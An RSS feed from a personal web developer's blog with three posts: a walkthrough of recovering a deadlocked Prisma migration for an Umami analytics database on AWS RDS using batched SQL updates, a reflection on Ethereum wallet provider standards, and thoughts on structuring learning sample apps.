<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Chen Hui Jing</title><description>The chronicles of a self-taught designer and developer who started building on the web when HTML tables were being phased out and floats were the hot new thing.</description><link>https://chenhuijing.com/</link><item><title>Database troubleshooting for Umami</title><link>https://chenhuijing.com/blog/database-troubleshooting-for-umami/</link><guid isPermaLink="true">https://chenhuijing.com/blog/database-troubleshooting-for-umami/</guid><description>I suck at SQL. There. I said it. I just never really had to interact with a SQL database directly over the years. So yeah, I can query a database, but managing…</description><pubDate>Sat, 25 Oct 2025 11:44:48 GMT</pubDate><content:encoded>&lt;p&gt;I suck at SQL. There. I said it. I just never really had to interact with a SQL database directly over the years. So yeah, I can query a database, but managing one? Nah. My SQL knowledge is pretty much limited to &lt;code&gt;SELECT * FROM something WHERE otherthing = ?&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;My website uses &lt;a href=&quot;https://umami.is/&quot;&gt;Umami&lt;/a&gt; for site analytics, which was &lt;a href=&quot;/blog/setting-up-umami-on-heroku/&quot;&gt;set up around October 2020&lt;/a&gt;. Between that blog post and now, I had migrated my database from Heroku to AWS RDS, which I did not do on my own. Someone else had set things up on AWS and sent me the database URL to connect to.&lt;/p&gt;
&lt;p&gt;I had also migrated to Umami v2 at some point, dutifully following the &lt;a href=&quot;https://github.com/umami-software/migrate-v1-v2&quot;&gt;migration instructions&lt;/a&gt;, which thankfully just worked. But then, when version &lt;a href=&quot;https://github.com/umami-software/umami/releases/tag/v2.18.0&quot;&gt;v2.18.0&lt;/a&gt; was released, I ran into this little error:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;Error: P3018

A migration failed to apply. New migrations cannot be applied before the error is recovered from. Read more about how to resolve migration issues in a production database: https://pris.ly/d/migrate-resolve

Migration name: 09_update_hostname_region

Database error code: 40P01

Database error:
ERROR: deadlock detected
DETAIL: Process 27550 waits for AccessExclusiveLock on relation 16967 of database 16401; blocked by process 26654.
Process 26654 waits for AccessShareLock on relation 16982 of database 16401; blocked by process 27550.
HINT: See server log for query details.

DbError { severity: &amp;quot;ERROR&amp;quot;, parsed_severity: Some(Error), code: SqlState(E40P01), message: &amp;quot;deadlock detected&amp;quot;, detail: Some(&amp;quot;Process 27550 waits for AccessExclusiveLock on relation 16967 of database 16401; blocked by process 26654.\nProcess 26654 waits for AccessShareLock on relation 16982 of database 16401; blocked by process 27550.&amp;quot;), hint: Some(&amp;quot;See server log for query details.&amp;quot;), position: None, where_: None, schema: None, table: None, column: None, datatype: None, constraint: None, file: Some(&amp;quot;deadlock.c&amp;quot;), line: Some(1135), routine: Some(&amp;quot;DeadLockReport&amp;quot;) }


✗ Command failed: prisma migrate deploy
Error: P3018

A migration failed to apply. New migrations cannot be applied before the error is recovered from. Read more about how to resolve migration issues in a production database: https://pris.ly/d/migrate-resolve

Migration name: 09_update_hostname_region

Database error code: 40P01

Database error:
ERROR: deadlock detected
DETAIL: Process 27550 waits for AccessExclusiveLock on relation 16967 of database 16401; blocked by process 26654.
Process 26654 waits for AccessShareLock on relation 16982 of database 16401; blocked by process 27550.
HINT: See server log for query details.

DbError { severity: &amp;quot;ERROR&amp;quot;, parsed_severity: Some(Error), code: SqlState(E40P01), message: &amp;quot;deadlock detected&amp;quot;, detail: Some(&amp;quot;Process 27550 waits for AccessExclusiveLock on relation 16967 of database 16401; blocked by process 26654.\nProcess 26654 waits for AccessShareLock on relation 16982 of database 16401; blocked by process 27550.&amp;quot;), hint: Some(&amp;quot;See server log for query details.&amp;quot;), position: None, where_: None, schema: None, table: None, column: None, datatype: None, constraint: None, file: Some(&amp;quot;deadlock.c&amp;quot;), line: Some(1135), routine: Some(&amp;quot;DeadLockReport&amp;quot;) }

 ELIFECYCLE  Command failed with exit code 1.
ERROR: &amp;quot;check-db&amp;quot; exited with 1.
 ELIFECYCLE  Command failed with exit code 1.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I am not equipped to solve such errors. But I wasn&apos;t alone. Scouring GitHub revealed:&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://github.com/umami-software/umami/issues/3399&quot;&gt;09_update_hostname_region migration failing after updating to 2.18.0&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://github.com/umami-software/umami/issues/3428&quot;&gt;Vercel build: 09_update_hostname_region migration failing&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://github.com/umami-software/umami/issues/3417&quot;&gt;Upgrade to 2.18.1 Caused Connection Pool Exhaustion and Rapid DB Size Increase&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/umami-software/umami/issues/3536&quot;&gt;DB prisma migration failed while restoring data for latest deployment 2.19.0 from 2.15.0&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I also submitted an &lt;a href=&quot;https://github.com/umami-software/umami/issues/3462&quot;&gt;issue of my own&lt;/a&gt;, but was told to resolve my database deadlock first. Nobody really had the exact same error as I did but based on everyone else&apos;s issues, I guessed that my database was probably too large for the tiny RDS instance to cope with the migration.&lt;/p&gt;
&lt;p&gt;Given that &lt;a href=&quot;https://umami.is/blog/what-is-coming-in-umami-v3&quot;&gt;v3 was coming out soon&lt;/a&gt;, I figured now would be an excellent time to actually sit my ass down and resolve this database issue once and for all.&lt;/p&gt;
&lt;h2&gt;The most basic of basics&lt;/h2&gt;
&lt;p&gt;You need tools for troubleshooting, and the first thing is to figure out how to actually access your database. I had to finally log into the database for the first time ever (the migration was previously run via script, I didn&apos;t actually have to do anything). AWS provides &lt;a href=&quot;https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_ConnectToPostgreSQLInstance.html&quot;&gt;this guidance&lt;/a&gt; on how to connect to your PostgreSQL DB instance. You need &lt;a href=&quot;https://www.postgresql.org/docs/current/app-psql.html&quot;&gt;&lt;code&gt;psql&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you&apos;re on Mac OS, like me, install &lt;a href=&quot;https://www.postgresql.org/docs/current/libpq.html&quot;&gt;&lt;code&gt;libpq&lt;/code&gt;&lt;/a&gt; via brew.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;brew install libpq
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then add it to your &lt;code&gt;PATH&lt;/code&gt;. I&apos;m using fish shell so I used &lt;code&gt;fish_add_path&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;fish_add_path /opt/homebrew/opt/libpq/bin
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Connect to your remote database. This really depends on where your database lives. For me, I used this URL pattern.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;psql &amp;quot;postgres://dbuser:password@aws_rds_endpoint:port/db_name?sslrootcert=path_to_pem_file&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Start operation recovery&lt;/h2&gt;
&lt;p&gt;The migration borked at &lt;code&gt;09_update_hostname_region&lt;/code&gt;, and the &lt;a href=&quot;https://github.com/umami-software/umami/blob/master/db/postgresql/migrations/09_update_hostname_region/migration.sql&quot;&gt;migration.sql&lt;/a&gt; file looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- AlterTable
ALTER TABLE &amp;quot;website_event&amp;quot; ADD COLUMN     &amp;quot;hostname&amp;quot; VARCHAR(100);

-- DataMigration
UPDATE &amp;quot;website_event&amp;quot; w
SET hostname = s.hostname
FROM &amp;quot;session&amp;quot; s
WHERE s.website_id = w.website_id
    and s.session_id = w.session_id;

-- DropIndex
DROP INDEX IF EXISTS &amp;quot;session_website_id_created_at_hostname_idx&amp;quot;;
DROP INDEX IF EXISTS &amp;quot;session_website_id_created_at_subdivision1_idx&amp;quot;;

-- AlterTable
ALTER TABLE &amp;quot;session&amp;quot; RENAME COLUMN &amp;quot;subdivision1&amp;quot; TO &amp;quot;region&amp;quot;;
ALTER TABLE &amp;quot;session&amp;quot; DROP COLUMN &amp;quot;subdivision2&amp;quot;;
ALTER TABLE &amp;quot;session&amp;quot; DROP COLUMN &amp;quot;hostname&amp;quot;;

-- CreateIndex
CREATE INDEX &amp;quot;website_event_website_id_created_at_hostname_idx&amp;quot; ON &amp;quot;website_event&amp;quot;(&amp;quot;website_id&amp;quot;, &amp;quot;created_at&amp;quot;, &amp;quot;hostname&amp;quot;);
CREATE INDEX &amp;quot;session_website_id_created_at_region_idx&amp;quot; ON &amp;quot;session&amp;quot;(&amp;quot;website_id&amp;quot;, &amp;quot;created_at&amp;quot;, &amp;quot;region&amp;quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The migration never finished, so I first had to mark the failed migration as rolled back so we can do it all over again.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;prisma migrate resolve --rolled-back 09_update_hostname_region
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A check on the state of my database revealed that I had 1,003,518 rows to deal with and my database was on a t3.micro instance. Probably not the best combination but it is what it is.&lt;/p&gt;
&lt;p&gt;It seemed like a better idea to run the migration in batches and commit after every batch so I could recover without having to go through the entire database all over again if something went wrong. These are the steps I went through.&lt;/p&gt;
&lt;p&gt;Start off with some defensive session settings for my puny t3.micro instance:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SET lock_timeout = &apos;2min&apos;;
SET statement_timeout = &apos;60min&apos;;
SET idle_in_transaction_session_timeout = &apos;10min&apos;;
SET maintenance_work_mem = &apos;256MB&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Also add helper indexes in addition to the required column:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;ALTER TABLE public.website_event ADD COLUMN IF NOT EXISTS hostname VARCHAR(100);

CREATE INDEX CONCURRENTLY IF NOT EXISTS session_website_id_session_id_idx
  ON public.&amp;quot;session&amp;quot;(website_id, session_id);

CREATE INDEX CONCURRENTLY IF NOT EXISTS website_event_wid_sid_null_idx
  ON public.website_event(website_id, session_id)
  WHERE hostname IS NULL;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Create a helper function to fill in the rows for the newly added column:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE OR REPLACE FUNCTION fill_hostname_batch(batch_size int)
RETURNS integer
LANGUAGE plpgsql
AS $$
DECLARE r_count integer;
BEGIN
  WITH chunk AS (
    SELECT w.ctid AS w_ctid, s.hostname
    FROM public.website_event w
    JOIN public.&amp;quot;session&amp;quot; s
      ON s.website_id = w.website_id
     AND s.session_id = w.session_id
    WHERE w.hostname IS NULL
    LIMIT batch_size
  )
  UPDATE public.website_event w
  SET hostname = c.hostname
  FROM chunk c
  WHERE w.ctid = c.w_ctid;

  GET DIAGNOSTICS r_count = ROW_COUNT;
  RETURN r_count;
END$$;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Set the function to run in batches. I manually stopped this when it returned 0. But this took more than 24 hours. I actually had to go on a business trip before it completed so I stopped it and resumed it when I came back home.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;\set batch 2000
SELECT fill_hostname_batch(:batch);
\watch 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Create the new &lt;code&gt;website_event&lt;/code&gt; index:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE INDEX CONCURRENTLY IF NOT EXISTS website_event_website_id_created_at_hostname_idx
  ON public.website_event(website_id, created_at, hostname);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Drop the legacy &lt;code&gt;session&lt;/code&gt; indexes:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;DROP INDEX CONCURRENTLY IF EXISTS public.session_website_id_created_at_hostname_idx;
DROP INDEX CONCURRENTLY IF EXISTS public.session_website_id_created_at_subdivision1_idx;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Apply the required &lt;code&gt;session&lt;/code&gt; column changes:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;BEGIN;
SET LOCAL lock_timeout = &apos;5s&apos;;

DO $$
BEGIN
  IF EXISTS (
    SELECT 1 FROM information_schema.columns
    WHERE table_schema=&apos;public&apos; AND table_name=&apos;session&apos; AND column_name=&apos;subdivision1&apos;
  ) THEN
    EXECUTE &apos;ALTER TABLE public.&amp;quot;session&amp;quot; RENAME COLUMN subdivision1 TO region&apos;;
  END IF;
END$$;

ALTER TABLE public.&amp;quot;session&amp;quot; DROP COLUMN IF EXISTS subdivision2;
ALTER TABLE public.&amp;quot;session&amp;quot; DROP COLUMN IF EXISTS hostname;

COMMIT;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Almost there now. Create the new session index:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE INDEX CONCURRENTLY IF NOT EXISTS session_website_id_created_at_region_idx
  ON public.&amp;quot;session&amp;quot;(website_id, created_at, region);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finalise the migration record:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;UPDATE public._prisma_migrations
SET finished_at = NOW(),
    rolled_back_at = NULL,
    logs = &apos;Manually completed after deadlock recovery and verified schema.&apos;
WHERE migration_name = &apos;09_update_hostname_region&apos;
  AND finished_at IS NULL;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Thankfully at this point, there weren&apos;t any new errors, and it seemed like the migration went through.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;I ran &lt;code&gt;npx prisma migrate status&lt;/code&gt; which told me that I had 13 pending migrations, and I went ahead and applied them with &lt;code&gt;npx prisma migrate deploy&lt;/code&gt;. Again, no new errors, and when I finally ran the build command, it actually worked and the app compiled successfully. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;partying face&quot;&gt;🥳&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Hopefully v3 doesn&apos;t involve such a mega database update. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;crossed fingers&quot;&gt;🤞&lt;/span&gt;&lt;/p&gt;
</content:encoded></item><item><title>How standards enhance the developer experience</title><link>https://chenhuijing.com/blog/how-standards-enhance-developer-experience/</link><guid isPermaLink="true">https://chenhuijing.com/blog/how-standards-enhance-developer-experience/</guid><description>My timeline of how the web has evolved is based on CSS layout eras. If you ever came across an earlier post I wrote back in March, you&apos;ll know that I started…</description><pubDate>Sat, 18 Oct 2025 01:14:50 GMT</pubDate><content:encoded>&lt;p&gt;My timeline of how the web has evolved is based on CSS layout eras. If you ever came across an &lt;a href=&quot;/blog/the-case-for-old-school-css&quot;&gt;earlier post&lt;/a&gt; I wrote back in March, you&apos;ll know that I started out at the tail-end of the HTML tables era and the start of the floats era.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;There&apos;s even more cool stuff after Grid but I can&apos;t find my source file for this graphic&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/old-school-css/eras-480.jpg 480w, /images/posts/old-school-css/eras-640.jpg 640w, /images/posts/old-school-css/eras-960.jpg 960w, /images/posts/old-school-css/eras-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/old-school-css/eras-640.jpg&quot; alt=&quot;The CSS Eras&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;I had joined the industry as a paid developer the same year the &lt;a href=&quot;https://www.webstandards.org/&quot;&gt;Web Standards Project&lt;/a&gt; had wound down because standards were a real thing and the browser wars were over. This means I had not truly lived the wild west times of either writing a whole lot of extra code to make sure things worked in different browsers or just picked one browser and hoped for the best.&lt;/p&gt;
&lt;p&gt;Well, now that I&apos;m doing work in the blockchain space, I feel like I have a better understanding of how things would have been like for developers back then. When it comes to decentralised applications (dApps), &lt;a href=&quot;https://ethereum.org/what-is-ethereum/&quot;&gt;Ethereum&lt;/a&gt; is probably considered the foundational ecosystem, given they were the first blockchain to introduce &lt;a href=&quot;https://ethereum.org/smart-contracts/&quot;&gt;smart contracts&lt;/a&gt;, enabling programmable financial transactions and other interesting applications.&lt;/p&gt;
&lt;h2&gt;Little bit of background info&lt;/h2&gt;
&lt;p&gt;Ethereum has &lt;a href=&quot;https://ethereum.org/developers/docs/standards&quot;&gt;standards&lt;/a&gt;, which are introduced as &lt;a href=&quot;https://ethereum.org/eips/&quot;&gt;Ethereum Improvement Proposals&lt;/a&gt; (EIPs). Conceptually they are grandchildren of the &lt;a href=&quot;https://peps.python.org/&quot;&gt;Python Enhancement Proposals&lt;/a&gt; (PEPs) process. Given that Ethereum has been around for a decade, it&apos;s a fairly &lt;a href=&quot;https://eips.ethereum.org/all&quot;&gt;long list of EIPs&lt;/a&gt; so far, and a good number are considered final.&lt;/p&gt;
&lt;p&gt;There is a JavaScript API for Ethereum, defined by &lt;a href=&quot;https://eips.ethereum.org/EIPS/eip-1193&quot;&gt;EIP-1193: Ethereum Provider JavaScript API&lt;/a&gt;. It describes how key management software (AKA wallets) need to expose their API via a JavaScript object, known as a &amp;quot;Provider&amp;quot;. This Provider allows the application to make &lt;a href=&quot;https://ethereum.org/developers/docs/apis/json-rpc/&quot;&gt;Ethereum RPC&lt;/a&gt; requests and respond to state changes in the Provider’s Ethereum chain, Client, and Wallet.&lt;/p&gt;
&lt;p&gt;At first this was fine, because the software wallet space wasn&apos;t that crowded, most people were just using &lt;a href=&quot;https://metamask.io/&quot;&gt;Metamask&lt;/a&gt;. It&apos;s considered the first wallet that catered to a &amp;quot;beginner&amp;quot; audience, and was installed as a browser extension. But as the ecosystem expanded, the number of different wallet products also grew. It isn&apos;t uncommon to have users with multiple wallet browser extensions installed.&lt;/p&gt;
&lt;p&gt;So if you are the developer of a dApp that makes use of the user&apos;s connected wallet, you now have a problem. Browser extension wallets would inject their Ethereum providers into the same &lt;code&gt;window.ethereum&lt;/code&gt; object. And the user cannot control which Provider gets to interact with. The last wallet to load usually wins &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;face with raised eyebrow&quot;&gt;🤨&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;This problem is outlined in &lt;a href=&quot;https://eips.ethereum.org/EIPS/eip-6963&quot;&gt;EIP-6963: Multi Injected Provider Discovery&lt;/a&gt;, which came into existence as a resolution. So between the two standards, we have a pretty good idea of how browser wallets are expected to behave. The keyword here is &amp;quot;expected&amp;quot;. Look, I&apos;ve been swimming around in the lake of CSS specifications for a number of years now. I learned early on that having defined in a standard is only the beginning of the journey.&lt;/p&gt;
&lt;h2&gt;Rules seem like suggestions&lt;/h2&gt;
&lt;p&gt;I&apos;m Malaysian, and the joke I love to make to the Singaporeans around me is, where I come from, traffic laws are less like rules and more like suggestions. Like, MAYBE you don&apos;t wanna park next to a no parking sign. Or MAYBE you should slow down when the light turns yellow. But you do you. In this day and age, I realise I must explicitly say this is a JOKE. Please obey traffic laws when you come to Malaysia.&lt;/p&gt;
&lt;p&gt;The point is, even though the standard exists, the browser wallet extension makers aren&apos;t forced to implement it within a specific deadline after the standard is made final. There generally are no hard deadlines for specification implementation. For example, Firefox just started &lt;a href=&quot;https://www.firefox.com/en-US/firefox/144.0/releasenotes/&quot;&gt;supporting View Transitions&lt;/a&gt; 4 days ago. Chrome released in early March 2023, and Safari released in mid September 2024.&lt;/p&gt;
&lt;p&gt;That being said, standards and specifications are great, because it allows for a predictable interface when developers want to build atop such foundational elements. The start of most dApp user journeys involves the user clicking a &amp;quot;Connect Wallet&amp;quot; button to connect their browser wallet to the application and perform blockchain transactions, i.e. record state changes onto the blockchain.&lt;/p&gt;
&lt;p&gt;The technical details of building a connect wallet interface I will cover in a separate post, but I just wanted to provide a description of how the experience was like with a picture. It&apos;s worth a thousand words.&lt;/p&gt;
&lt;img src=&quot;/images/posts/standards/console-log.png&quot; srcset=&quot;/images/posts/standards/console-log@2x.png 2x&quot; alt=&quot;Console errors showing wallets fighting each other&quot;&gt;
&lt;p&gt;Granted I did have more than the normal number of browser wallets installed at the same time and most users probably don&apos;t do this (maybe). Call it a stress test. Web standards for HTML, CSS and JavaScript are focused on end-user interaction with the browser, and I was very used to thinking along those lines. However, for the Ethereum standards, it is more focused on the wallet interacting with the blockchain. In that sense, the dApp interacting with the wallet is one level away.&lt;/p&gt;
&lt;p&gt;An example would be disconnecting your wallet from the dApp. The &lt;code&gt;disconnect&lt;/code&gt; event outlined in EIP-1193 is meant for the wallet to indicate that it has lost its connection to the blockchain, and not for indicating the user disconnecting their wallet from the application. So the issue I ran into was the scenario where someone wanted to switch to a different wallet to interact with my application, and I kept getting stuck with the old wallet provider.&lt;/p&gt;
&lt;p&gt;Libraries like &lt;a href=&quot;https://wagmi.sh/&quot;&gt;Wagmi&lt;/a&gt; provide a layer of abstraction for &lt;a href=&quot;https://wagmi.sh/react/guides/connect-wallet&quot;&gt;connecting wallets&lt;/a&gt; which simulates disconnection behaviour with &lt;a href=&quot;https://wagmi.sh/react/api/connectors/injected#shimdisconnect&quot;&gt;a shim&lt;/a&gt;. Metamask has its own API that exposes a &lt;a href=&quot;https://docs.metamask.io/wallet/reference/json-rpc-methods/wallet_revokepermissions&quot;&gt;&lt;code&gt;wallet_revokePermissions&lt;/code&gt;&lt;/a&gt; for developers to use, and there are some standard proposals like &lt;a href=&quot;https://eips.ethereum.org/EIPS/eip-7715&quot;&gt;ERC-7715: Grant Permissions from Wallets&lt;/a&gt; that could alleviate the problem eventually.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;It seems to me that this space of developing dApps is similar to the earlier days of the web where the entire ecosystem is still trying to nail down things that are worth standardising across the board. Which is giving me a taste of what it must have been like building websites back in the day of the browser wars.&lt;/p&gt;
&lt;p&gt;Now I don&apos;t think I&apos;m even experiencing half the exasperation, but it is giving me a greater appreciation of the work so many people have done to make web standards a thing. Today, I can happily build sites with the reassurance that it will almost always behave the same across browsers, and that&apos;s not something to be taken for granted.&lt;/p&gt;
&lt;p&gt;Web pioneers, I salute you. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;saluting face&quot;&gt;🫡&lt;/span&gt;&lt;br&gt;
Thank you for paving the way for the rest of us.&lt;/p&gt;
</content:encoded></item><item><title>Let&apos;s talk sample apps</title><link>https://chenhuijing.com/blog/lets-talk-sample-apps/</link><guid isPermaLink="true">https://chenhuijing.com/blog/lets-talk-sample-apps/</guid><description>I&apos;m back in the Developer Relations profession. But after going through the migration last weekend, it occurred to me that some part of my current job was…</description><pubDate>Wed, 08 Oct 2025 11:44:48 GMT</pubDate><content:encoded>&lt;p&gt;I&apos;m back in the Developer Relations profession. But after going through the &lt;a href=&quot;/blog/migrating-from-hugo-to-astro&quot;&gt;migration&lt;/a&gt; last weekend, it occurred to me that some part of my current job was something that I had already been doing over the years I&apos;ve had this blog. And that is, explaining to others how something is done and how things work.&lt;/p&gt;
&lt;p&gt;My only 2 developer relations jobs were at companies that provided SDKs as products to developers (among other things they do to make revenue). And so it was important to show developers how our SDKs were used and what you could do with them. This meant that I needed to know these SDKs really well, especially all the bits that don&apos;t work very well.&lt;/p&gt;
&lt;p&gt;But today, I wanna talk about sample applications. The keyword here is &amp;quot;sample&amp;quot;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;a small amount of something that shows you what the rest is or should be like&lt;br&gt;
– &lt;a href=&quot;https://dictionary.cambridge.org/dictionary/english/sample&quot;&gt;Cambridge Dictionary&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What is the point of a sample application? Well, for my context, I would broadly categorise them into 2 groups:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Learning sample applications&lt;/strong&gt;&lt;br&gt;
Such applications are meant to guide a developer on how to implement something and hopefully they can apply what they learned into their own applications&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Showcase sample applications&lt;/strong&gt;&lt;br&gt;
Such applications are meant to show what a particular technology makes possible&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Based on these categorisations, I would say that learning sample apps would end up being flatter in project structure, since the main purpose is to let developers understand how a particular feature is implemented. You wouldn&apos;t spend time optimising and modularising everything to be &amp;quot;production-ready&amp;quot;, whatever that means.&lt;/p&gt;
&lt;p&gt;Personally I think showcase apps can just go wild. I mean, I used to work in &lt;a href=&quot;/resume/#nurun&quot;&gt;advertising&lt;/a&gt; where sometimes, even things meant for &amp;quot;production&amp;quot; felt like they were just showcase apps held together by duct tape and the hopes and prayers of the account manager. If you know what I mean.&lt;/p&gt;
&lt;p&gt;The rest of this post is focused on learning sample apps. Showcase apps can do whatever they want.&lt;/p&gt;
&lt;h2&gt;Decisions, decisions…&lt;/h2&gt;
&lt;p&gt;When I was young and stupid, I was rather opinionated about the &amp;quot;best&amp;quot; way to do things. Now that I&apos;m old and stupid, I&apos;m much less opinionated, and hopefully less stupid as well. The best way to do things is extremely contextual, so the only guiding principle I go by is to assess the situation you&apos;re in.&lt;/p&gt;
&lt;p&gt;Anywayz, I had been thinking about the best way to structure sample web applications for the purpose of learning. And wanted to keep a record of my thought process.&lt;/p&gt;
&lt;p&gt;First and foremost, what is the specific thing you&apos;re trying to explain, and what is its &lt;strong&gt;native environment&lt;/strong&gt;? For example, if I&apos;m trying to teach someone how Flexbox works, then I would consider the native environment CSS. If I&apos;m trying to teach someone how to use a particular Node.js SDK, then I would consider the native environment JavaScript or Typescript, you get the picture.&lt;/p&gt;
&lt;p&gt;Next thing I took into consideration was the &lt;strong&gt;habits and preferences&lt;/strong&gt; of the audience I was trying to reach. If you&apos;re building in the AI space, odds are the preferred language is going to be Python. A lot of developers building applications on the blockchain seem to default to React and (sadly) Tailwind. I&apos;m still not a big fan of Tailwind but I can see its use-cases.&lt;/p&gt;
&lt;p&gt;Also, would there be more sample apps &lt;strong&gt;related to the same topic&lt;/strong&gt;. Or are they &lt;strong&gt;individual snowflakes&lt;/strong&gt;? If the sample apps are part of a larger theme, do you want to have unified visuals for UI components? For example, if you&apos;re building developer documentation for a suite of product SDKs, maybe your sample apps all follow a similar structure and use the same libraries.&lt;/p&gt;
&lt;p&gt;Again, there are no hard and fast rules, but a series of trade-offs between how much effort you can afford versus the range of audiences you are trying to reach, I suppose. In a world where unicorns poop rainbows, you could show your developer audience every flavour of how something is done, but sadly, we live here.&lt;/p&gt;
&lt;h2&gt;Highlight the critical code&lt;/h2&gt;
&lt;p&gt;As a bilingual speaker, I honestly wanted by heading for this section to be &amp;quot;讲重点&amp;quot; but I didn&apos;t have the language skills to translate that concisely while keeping the gist right.&lt;/p&gt;
&lt;h3&gt;CSS&lt;/h3&gt;
&lt;p&gt;I&apos;ve built quite a few demos on CodePen as well as standalone sites over the years. A lot of them are about CSS (86 posts on this blog so far). Most of the demos need some form of &amp;quot;unrelated&amp;quot; code just to make the demo look decent so people don&apos;t get so distracted by the lack of styling they miss the point altogether.&lt;/p&gt;
&lt;p&gt;For those, I&apos;ve mostly grouped those styles at the bottom (generally safe cascading since they&apos;re not touching the actual elements for the demo), and use a comment to indicate they are layout styles. This seems to be a relatively common approach based on what I&apos;ve seen.&lt;/p&gt;
&lt;p class=&quot;codepen&quot; data-height=&quot;500&quot; data-default-tab=&quot;css,result&quot; data-slug-hash=&quot;RwvzoRp&quot; data-pen-title=&quot;View Transitions API&quot; data-user=&quot;huijing&quot; style=&quot;height: 500px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;&quot;&gt;
  &lt;span&gt;See the Pen &lt;a href=&quot;https://codepen.io/huijing/pen/RwvzoRp&quot;&gt;
  View Transitions API&lt;/a&gt; by Chen Hui Jing (&lt;a href=&quot;https://codepen.io/huijing&quot;&gt;@huijing&lt;/a&gt;)
  on &lt;a href=&quot;https://codepen.io&quot;&gt;CodePen&lt;/a&gt;.&lt;/span&gt;
&lt;/p&gt;
&lt;p&gt;Another approach that came to mind was to have the unrelated styles as inline styles on the HTML elements themselves, and leave ONLY the relevant CSS in the stylesheet. That way there is no ambiguity and everything in the CSS file is relevant. I feel this approach could make it easier to immediately parse the CSS that is doing the actual work.&lt;/p&gt;
&lt;p&gt;I&apos;m still in two minds on whether to extend this to the actual element being styled itself. Say if I&apos;m explaining Flexbox, and I put the border style for the element inline instead, you know? &lt;a href=&quot;https://bsky.app/profile/huijing.bsky.social&quot;&gt;Share your thoughts&lt;/a&gt; on this with me, if you have any.&lt;/p&gt;
&lt;h3&gt;JavaScript&lt;/h3&gt;
&lt;p&gt;For JavaScript it might be trickier. But I have done 2 (or more) separate JavaScript files, where one only contains the relevant logic and the other ones handle everything else to make the website work. With the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules&quot;&gt;module syntax&lt;/a&gt; now pretty much the norm, there are so many levels of abstraction possible, and this is one area I feel warrants a bit more deliberate thought.&lt;/p&gt;
